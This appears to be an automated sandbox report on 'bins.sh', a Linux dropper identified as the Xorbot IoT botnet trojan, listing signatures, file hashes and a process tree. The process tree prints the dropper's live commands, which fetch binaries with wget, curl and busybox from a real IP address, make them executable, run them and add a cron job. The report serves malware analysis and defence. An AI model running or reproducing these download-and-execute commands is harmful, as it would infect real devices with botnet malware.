Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

8

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    131s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240729-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    23/01/2025, 15:22

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250123-srwhystndz
  • SHA256 505a626c966ea9a4aa39dfc55e109fa9c290f70dfe3c14ffc82e48d9e4182666
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (744) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:1503
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:1504
      • /usr/bin/wget
        wget http://94.154.35.94/bins/X9isEHHZ9mNnGDfS7Z4RgBMlZRSHOqOtNt
        2⤵
        • Writes file to tmp directory
        PID:1505
      • /usr/bin/curl
        curl -O http://94.154.35.94/bins/X9isEHHZ9mNnGDfS7Z4RgBMlZRSHOqOtNt
        2⤵
        • Writes file to tmp directory
        PID:1516
      • /bin/busybox
        /bin/busybox wget http://94.154.35.94/bins/X9isEHHZ9mNnGDfS7Z4RgBMlZRSHOqOtNt
        2⤵
        • Writes file to tmp directory
        PID:1517
      • /bin/chmod
        chmod 777 X9isEHHZ9mNnGDfS7Z4RgBMlZRSHOqOtNt
        2⤵
        • File and Directory Permissions Modification
        PID:1518
      • /tmp/X9isEHHZ9mNnGDfS7Z4RgBMlZRSHOqOtNt
        ./X9isEHHZ9mNnGDfS7Z4RgBMlZRSHOqOtNt
        2⤵
          PID:1519
        • /bin/rm
          rm X9isEHHZ9mNnGDfS7Z4RgBMlZRSHOqOtNt
          2⤵
            PID:1521
          • /usr/bin/wget
            wget http://94.154.35.94/bins/rH1XeSwaupTtFhA5tenZzdAlXZHHujtsAe
            2⤵
            • Writes file to tmp directory
            PID:1522
          • /usr/bin/curl
            curl -O http://94.154.35.94/bins/rH1XeSwaupTtFhA5tenZzdAlXZHHujtsAe
            2⤵
            • Writes file to tmp directory
            PID:1523
          • /bin/busybox
            /bin/busybox wget http://94.154.35.94/bins/rH1XeSwaupTtFhA5tenZzdAlXZHHujtsAe
            2⤵
            • Writes file to tmp directory
            PID:1524
          • /bin/chmod
            chmod 777 rH1XeSwaupTtFhA5tenZzdAlXZHHujtsAe
            2⤵
            • File and Directory Permissions Modification
            PID:1525
          • /tmp/rH1XeSwaupTtFhA5tenZzdAlXZHHujtsAe
            ./rH1XeSwaupTtFhA5tenZzdAlXZHHujtsAe
            2⤵
              PID:1526
            • /bin/rm
              rm rH1XeSwaupTtFhA5tenZzdAlXZHHujtsAe
              2⤵
                PID:1528
              • /usr/bin/wget
                wget http://94.154.35.94/bins/NE06kuSbGhL7sZqspdRDIuyuWyfAG8uOj8
                2⤵
                • Writes file to tmp directory
                PID:1529
              • /usr/bin/curl
                curl -O http://94.154.35.94/bins/NE06kuSbGhL7sZqspdRDIuyuWyfAG8uOj8
                2⤵
                • Writes file to tmp directory
                PID:1532
              • /bin/busybox
                /bin/busybox wget http://94.154.35.94/bins/NE06kuSbGhL7sZqspdRDIuyuWyfAG8uOj8
                2⤵
                • Writes file to tmp directory
                PID:1533
              • /bin/chmod
                chmod 777 NE06kuSbGhL7sZqspdRDIuyuWyfAG8uOj8
                2⤵
                • File and Directory Permissions Modification
                PID:1534
              • /tmp/NE06kuSbGhL7sZqspdRDIuyuWyfAG8uOj8
                ./NE06kuSbGhL7sZqspdRDIuyuWyfAG8uOj8
                2⤵
                  PID:1535
                • /bin/rm
                  rm NE06kuSbGhL7sZqspdRDIuyuWyfAG8uOj8
                  2⤵
                    PID:1537
                  • /usr/bin/wget
                    wget http://94.154.35.94/bins/WAvcQv82EymaB772d3y0TMPGqdv3teybHn
                    2⤵
                    • Writes file to tmp directory
                    PID:1538
                  • /usr/bin/curl
                    curl -O http://94.154.35.94/bins/WAvcQv82EymaB772d3y0TMPGqdv3teybHn
                    2⤵
                    • Writes file to tmp directory
                    PID:1539
                  • /bin/busybox
                    /bin/busybox wget http://94.154.35.94/bins/WAvcQv82EymaB772d3y0TMPGqdv3teybHn
                    2⤵
                    • Writes file to tmp directory
                    PID:1540
                  • /bin/chmod
                    chmod 777 WAvcQv82EymaB772d3y0TMPGqdv3teybHn
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1541
                  • /tmp/WAvcQv82EymaB772d3y0TMPGqdv3teybHn
                    ./WAvcQv82EymaB772d3y0TMPGqdv3teybHn
                    2⤵
                      PID:1542
                    • /bin/rm
                      rm WAvcQv82EymaB772d3y0TMPGqdv3teybHn
                      2⤵
                        PID:1544
                      • /usr/bin/wget
                        wget http://94.154.35.94/bins/96JSlE1WHMlW9I4DVANBronQ6xnFEc4fMP
                        2⤵
                        • Writes file to tmp directory
                        PID:1545
                      • /usr/bin/curl
                        curl -O http://94.154.35.94/bins/96JSlE1WHMlW9I4DVANBronQ6xnFEc4fMP
                        2⤵
                        • Writes file to tmp directory
                        PID:1546
                      • /bin/busybox
                        /bin/busybox wget http://94.154.35.94/bins/96JSlE1WHMlW9I4DVANBronQ6xnFEc4fMP
                        2⤵
                        • Writes file to tmp directory
                        PID:1547
                      • /bin/chmod
                        chmod 777 96JSlE1WHMlW9I4DVANBronQ6xnFEc4fMP
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1548
                      • /tmp/96JSlE1WHMlW9I4DVANBronQ6xnFEc4fMP
                        ./96JSlE1WHMlW9I4DVANBronQ6xnFEc4fMP
                        2⤵
                          PID:1549
                        • /bin/rm
                          rm 96JSlE1WHMlW9I4DVANBronQ6xnFEc4fMP
                          2⤵
                            PID:1551
                          • /usr/bin/wget
                            wget http://94.154.35.94/bins/MQZm9j7zQKFGyUmSumNcjlmWMzPrTjFAYI
                            2⤵
                            • Writes file to tmp directory
                            PID:1552
                          • /usr/bin/curl
                            curl -O http://94.154.35.94/bins/MQZm9j7zQKFGyUmSumNcjlmWMzPrTjFAYI
                            2⤵
                            • Writes file to tmp directory
                            PID:1553
                          • /bin/busybox
                            /bin/busybox wget http://94.154.35.94/bins/MQZm9j7zQKFGyUmSumNcjlmWMzPrTjFAYI
                            2⤵
                            • Writes file to tmp directory
                            PID:1554
                          • /bin/chmod
                            chmod 777 MQZm9j7zQKFGyUmSumNcjlmWMzPrTjFAYI
                            2⤵
                            • File and Directory Permissions Modification
                            PID:1555
                          • /tmp/MQZm9j7zQKFGyUmSumNcjlmWMzPrTjFAYI
                            ./MQZm9j7zQKFGyUmSumNcjlmWMzPrTjFAYI
                            2⤵
                            • Renames itself
                            • Reads runtime system information
                            PID:1556
                            • /bin/sh
                              sh -c "crontab -l"
                              3⤵
                                PID:1558
                                • /usr/bin/crontab
                                  crontab -l
                                  4⤵
                                    PID:1559
                                • /bin/sh
                                  sh -c "crontab -"
                                  3⤵
                                    PID:1560
                                    • /usr/bin/crontab
                                      crontab -
                                      4⤵
                                      • Creates/modifies Cron job
                                      PID:1561
                                • /bin/rm
                                  rm MQZm9j7zQKFGyUmSumNcjlmWMzPrTjFAYI
                                  2⤵
                                    PID:1563
                                  • /usr/bin/wget
                                    wget http://94.154.35.94/bins/cHHbiZnd17MpZfbFfgEV6KUU3IBerGxwmE
                                    2⤵
                                      PID:1566

                                  Network

                                        MITRE ATT&CK Enterprise v15

                                        Replay Monitor

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                                        Downloads

                                        96JSlE1WHMlW9I4DVANBronQ6xnFEc4fMP
                                        • Path /tmp/96JSlE1WHMlW9I4DVANBronQ6xnFEc4fMP
                                        • Size 111KB
                                        • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                        • MD5 SHA1 SHA512 SSDEEP
                                        Submit Download

                                        MQZm9j7zQKFGyUmSumNcjlmWMzPrTjFAYI
                                        • Path /tmp/MQZm9j7zQKFGyUmSumNcjlmWMzPrTjFAYI
                                        • Size 112KB
                                        • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                        • MD5 SHA1 SHA512 SSDEEP
                                        Submit Download

                                        NE06kuSbGhL7sZqspdRDIuyuWyfAG8uOj8
                                        • Path /tmp/NE06kuSbGhL7sZqspdRDIuyuWyfAG8uOj8
                                        • Size 122KB
                                        • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                        • MD5 SHA1 SHA512 SSDEEP
                                        Submit Download

                                        WAvcQv82EymaB772d3y0TMPGqdv3teybHn
                                        • Path /tmp/WAvcQv82EymaB772d3y0TMPGqdv3teybHn
                                        • Size 107KB
                                        • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                        • MD5 SHA1 SHA512 SSDEEP
                                        Submit Download

                                        X9isEHHZ9mNnGDfS7Z4RgBMlZRSHOqOtNt
                                        • Path /tmp/X9isEHHZ9mNnGDfS7Z4RgBMlZRSHOqOtNt
                                        • Size 151KB
                                        • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                        • MD5 SHA1 SHA512 SSDEEP
                                        Submit Download

                                        rH1XeSwaupTtFhA5tenZzdAlXZHHujtsAe
                                        • Path /tmp/rH1XeSwaupTtFhA5tenZzdAlXZHHujtsAe
                                        • Size 111KB
                                        • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                        • MD5 SHA1 SHA512 SSDEEP
                                        Submit Download

                                        tmp.rjgIVB
                                        • Path /var/spool/cron/crontabs/tmp.rjgIVB
                                        • Size 210B
                                        • SHA256 00ca8318f93491fafcd242bd4627e2ab159bd8a0a6431fba5f7094eaa576ef21
                                        • MD5 SHA1 SHA512
                                        Submit Download